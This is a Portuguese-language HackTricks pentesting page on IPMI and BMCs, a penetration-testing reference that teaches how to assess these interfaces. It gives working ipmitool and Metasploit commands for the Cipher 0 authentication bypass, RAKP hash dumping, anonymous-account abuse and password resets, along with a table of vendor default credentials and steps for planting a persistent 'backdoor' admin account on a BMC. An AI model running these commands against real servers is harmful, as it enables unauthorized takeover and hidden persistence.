hacktricks/network-services-pentesting/623-udp-ipmi.md

16 KiB

623/UDP/TCP - IPMI

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informações Básicas

O Intelligent Platform Management Interface (IPMI) é um conjunto de especificações padronizadas para sistemas de gerenciamento de host baseados em hardware usados para gerenciamento e monitoramento do sistema. Ele age como um subsistema autônomo e funciona independentemente do BIOS, CPU, firmware e sistema operacional subjacente do host. O IPMI fornece aos administradores de sistemas a capacidade de gerenciar e monitorar sistemas mesmo que eles estejam desligados ou em um estado não responsivo. Ele opera usando uma conexão de rede direta com o hardware do sistema e não requer acesso ao sistema operacional por meio de um shell de login. O IPMI também pode ser usado para atualizações remotas em sistemas sem exigir acesso físico ao host de destino. O IPMI é tipicamente usado de três maneiras:

  • Antes que o sistema operacional seja iniciado para modificar as configurações do BIOS
  • Quando o host está totalmente desligado
  • Acesso a um host após uma falha do sistema

Quando não está sendo usado para essas tarefas, o IPMI pode monitorar uma variedade de coisas diferentes, como temperatura do sistema, voltagem, status do ventilador e fontes de alimentação. Ele também pode ser usado para consultar informações de inventário, revisar logs de hardware e alertar usando SNMP. O sistema host pode ser desligado, mas o módulo IPMI requer uma fonte de energia e uma conexão LAN para funcionar corretamente.

O protocolo IPMI foi publicado pela primeira vez pela Intel em 1998 e agora é suportado por mais de 200 fornecedores de sistemas, incluindo Cisco, Dell, HP, Supermicro, Intel e outros. Sistemas que usam a versão 2.0 do IPMI podem ser administrados via serial sobre LAN, dando aos administradores de sistemas a capacidade de visualizar a saída do console serial em banda. Para funcionar, o IPMI requer os seguintes componentes:

  • Controlador de Gerenciamento de Placa Base (BMC) - Um microcontrolador e componente essencial de um IPMI
  • Intelligent Chassis Management Bus (ICMB) - Uma interface que permite a comunicação de um chassi para outro
  • Intelligent Platform Management Bus (IPMB) - estende o BMC
  • Memória IPMI - armazena coisas como o log de eventos do sistema, dados do repositório de armazenamento e muito mais
  • Interfaces de comunicação - interfaces do sistema local, interfaces seriais e LAN, ICMB e PCI Management Bus

Porta padrão: 623/UDP/TCP (geralmente está em UDP, mas também pode estar em TCP)

Enumeração

Descoberta

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Você pode identificar a versão usando:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

Vulnerabilidade - Bypass de Autenticação IPMI via Cipher 0

Dan Farmer identificou uma falha grave na especificação IPMI 2.0, ou seja, o tipo de cifra 0, um indicador de que o cliente deseja usar autenticação de texto simples, na verdade permite o acesso com qualquer senha. Problemas com o Cipher 0 foram identificados em BMCs da HP, Dell e Supermicro, sendo que o problema provavelmente abrange todas as implementações do IPMI 2.0.
Observe que, para explorar esse problema, você primeiro precisa encontrar um usuário válido.

Você pode identificar esse problema usando:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

E você pode abusar desse problema com o ipmitool:

apt-get install ipmitool #Install
#Using -C 0 any password is accepted
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
ID  Name      Callin  Link Auth   IPMI Msg   Channel Priv Limit
2   root             true    true       true       ADMINISTRATOR
3   Oper1            true    true       true       ADMINISTRATOR
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root

Vulnerabilidade - Recuperação Remota de Hash de Senha de Autenticação RAKP do IPMI 2.0

Basicamente, você pode solicitar ao servidor o MD5 e SHA1 salgados e hashados de qualquer nome de usuário e, se o nome de usuário existir, esses hashes serão enviados de volta. Sim, tão incrível quanto parece. E há um módulo do metasploit para testar isso (você pode selecionar a saída no formato John ou Hashcat):

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

Nota que para isso você só precisa de uma lista de nomes de usuário para força bruta (o metasploit já contém uma lista com nomes de usuário padrão).

Usando ipmitool para burlar a autenticação (-c 0) e alterar a senha de root para abc123:

root@kali:~# apt-get install ipmitool
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
ID  Name      Callin  Link Auth   IPMI Msg   Channel Priv Limit
2   root             true    true       true       ADMINISTRATOR
3   Oper1            true    true       true       ADMINISTRATOR
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123

Vulnerabilidade - Autenticação Anônima IPMI

Além dos problemas de autenticação acima, Dan Farmer observou que muitos BMCs são enviados com acesso "anônimo" habilitado por padrão. Isso é configurado definindo o nome de usuário da primeira conta de usuário como uma string nula e definindo uma senha nula para corresponder. O módulo ipmi_dumphashes identificará e despejará as hashes de senha (incluindo senhas em branco) para contas de usuário nulas. Essa conta pode ser difícil de usar por conta própria, mas podemos aproveitar o ipmitool para redefinir a senha de uma conta de usuário nomeada e aproveitar essa conta para acessar outros serviços:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list

ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
1                    false  false      true      ADMINISTRATOR
2  root            false  false      true      ADMINISTRATOR
3  admin            true    true      true      ADMINISTRATOR

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"

Vulnerabilidade - Senhas em texto claro do IPMI Supermicro

A especificação IPMI 2.0 exige que o BMC responda a métodos de autenticação baseados em HMAC, como SHA1 e MD5. Esse processo de autenticação tem algumas fraquezas graves, como demonstrado em exemplos anteriores, mas também requer acesso à senha em texto claro para calcular o hash de autenticação. Isso significa que o BMC deve armazenar uma versão em texto claro de todas as senhas de usuário configuradas em algum lugar do armazenamento não volátil. No caso da Supermicro, essa localização muda entre as versões do firmware, mas é /nv/PSBlock ou /nv/PSStore. As senhas estão espalhadas entre vários blocos binários, mas são fáceis de identificar, pois sempre seguem o nome de usuário. Isso é um problema sério para qualquer organização que usa senhas compartilhadas entre BMCs ou até mesmo diferentes tipos de dispositivos.

 cat /nv/PSBlock
  admin                      ADMINpassword^TT                    rootOtherPassword!

Vulnerabilidade - Supermicro IPMI UPnP

A Supermicro inclui um listener UPnP SSDP em execução na porta UDP 1900 no firmware IPMI de muitas de suas placas-mãe recentes. Nas versões anteriores a SMT_X9_218, este serviço estava executando o SDK Intel para Dispositivos UPnP, versão 1.3.1. Esta versão é vulnerável aos problemas divulgados pela Rapid7 em fevereiro de 2013, e um exploit para essa plataforma faz parte do Metasploit Framework. O interessante sobre esse ataque é que ele fornece acesso root completo ao BMC, algo que é difícil de obter de outra forma. Lembre-se de que um invasor com acesso administrativo, seja pela rede ou de um shell root no sistema host, pode rebaixar o firmware de um BMC Supermicro para uma versão vulnerável e, em seguida, explorá-lo. Uma vez que o acesso root é obtido, é possível ler credenciais em texto claro do sistema de arquivos, instalar software adicional e integrar backdoors permanentes no BMC que sobreviveriam a uma reinstalação completa do sistema operacional do host.

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

Observe que apenas a HP randomiza a senha durante o processo de fabricação.

Nome do Produto Nome de Usuário Padrão Senha Padrão
HP Integrated Lights Out (iLO) Administrator <cadeia de caracteres aleatórios de 8 caracteres>
Dell Remote Access Card (iDRAC, DRAC) root calvin
IBM Integrated Management Module (IMM) USERID PASSW0RD (com um zero)
Fujitsu Integrated Remote Management Controller admin admin
Supermicro IPMI (2.0) ADMIN ADMIN
Oracle/Sun Integrated Lights Out Manager (ILOM) root changeme
ASUS iKVM BMC admin admin

Explorando o Host a partir do BMC

Uma vez obtido o acesso administrativo ao BMC, há vários métodos disponíveis que podem ser usados para obter acesso ao sistema operacional do host. O caminho mais direto é abusar da funcionalidade KVM do BMC e reiniciar o host para um shell root (init=/bin/sh no GRUB) ou especificar um disco de resgate como um CD-ROM virtual e inicializar a partir dele. Uma vez obtido o acesso bruto ao disco do host, é trivial introduzir uma porta dos fundos, copiar dados do disco rígido ou fazer qualquer coisa que precise ser feita como parte da avaliação de segurança. A grande desvantagem, é claro, é que o host tem que ser reiniciado para usar este método. Obter acesso ao host em execução é muito mais complicado e depende do que o host está executando. Se o console físico do host for deixado conectado, torna-se trivial sequestrá-lo usando a funcionalidade KVM integrada. O mesmo se aplica aos consoles seriais - se a porta serial estiver conectada a uma sessão autenticada, o BMC pode permitir que esta porta seja sequestrada usando a interface ipmitool para serial-over-LAN (sol). Um caminho que ainda precisa de mais pesquisa é abusar do acesso a hardware compartilhado, como o barramento i2c e o chip Super I/O.

Explorando o BMC a partir do Host

Em situações em que um host com um BMC foi comprometido, a interface local para o BMC pode ser usada para introduzir uma conta de usuário de porta dos fundos, e a partir daí estabelecer uma posição permanente no servidor. Este ataque requer que o ipmitool esteja instalado no host e que o suporte ao driver esteja habilitado para o BMC. O exemplo abaixo demonstra como a interface local no host, que não requer autenticação, pode ser usada para injetar uma nova conta de usuário no BMC. Este método é universal em alvos Linux, Windows, BSD e até mesmo DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • porta:623

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥